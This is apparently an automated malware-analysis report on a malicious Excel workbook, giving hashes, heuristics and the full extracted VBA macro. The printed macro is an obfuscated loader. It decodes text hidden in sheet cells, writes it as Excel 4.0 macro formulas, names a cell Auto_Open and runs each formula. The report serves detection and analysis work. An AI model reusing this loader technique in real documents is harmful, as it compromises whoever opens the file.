Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f580c837e8dfbafc…

MALICIOUS

Office (OOXML)

29.9 KB Created: 2021-03-02 12:15:12 UTC Authoring application: 16.0300 First seen: 2022-06-20
MD5: 8e85bd0e8db17498c03322cfb5874876 SHA-1: 9f1c7512bb091c799908dd87c57c2e4133a1ac38 SHA-256: f580c837e8dfbafcab8163279ee22137cbc5e5f319f06cd48acafb51ff25151e
90 Risk Score

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2344 bytes
SHA-256: 3330dbf7052bde5a09ada2adc6211a88316ced4a77cf622ffb28e76339112ed2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function xx_sm()
xx_sm = "="
End Function
Function Glow() As String
Glow = "?"
End Function

Private Function golII_i(g As String)
golII_i = Len(g) - 3
End Function

Function hiO(d As String, f As Integer, ff As Integer)
hiO = Mid(d, f, ff)
End Function

Function A_a_1(ee As String)
A_a_1 = Asc(ee)
End Function

Function rei_oik(y As Integer)
For Each X In Sheets(y).Cells.SpecialCells(xlCellTypeConstants): d = d & X: Next
rei_oik = d
End Function

Function v_rs_1()
v_rs_1 = "_a"
End Function
Function ech_h() As String
ech_h = "O" & "RN"
End Function
Sub diviliano()
On Error Resume Next
End Sub
Function nemso_p(ry As String, uh As Integer)
Sheets(1).Cells(uh, 1).FormulaLocal = ry
End Function

Function l_po_po(SC As Integer)
If (SC Mod msoAutoSizeTextToFitShape) Then l_po_po = -1 Else l_po_po = 1
End Function



Sub Visualizza_zoom()
On Error Resume Next
Dim a As Integer: Dim b As Integer: b = 1
Dim s As Integer: Dim q As Variant
h = "T" & ech_h & "O" & "()": re = xx_sm & "R" & "I"
Sheets(b).Cells(b + 5, b).FormulaLocal = re & h
Dim d As String
Sheets(b).Cells(b + b, b).Name = ech_h & v_rs_1: a = b * 3:
d = rei_oik(a)
For s = a To Len(d) Step a
w = l_po_po(s)
rt = rt & Chr(A_a_1(hiO(d, s, b)) + w): Next
Aq = Split(rt, Glow)
For Each ds In Aq
uii = nemso_p(xx_sm & ds, b + b)
Application.Run ("" & ech_h & "" & v_rs_1)
Next
End Sub







Attribute VB_Name = "Foglio2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22016 bytes
SHA-256: a31701681dbd8b58dcd2dc5aa3a52221591bd815716c0ea39ab815ef28d7e39d
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 865 bytes
SHA-256: 6a391656549201c887614cde60218159fa7da164fd87c00b12dd24200c865d3e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A7" sqref="A7"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" horizontalDpi="300" verticalDpi="300" r:id="rId1"/></xm:macrosheet>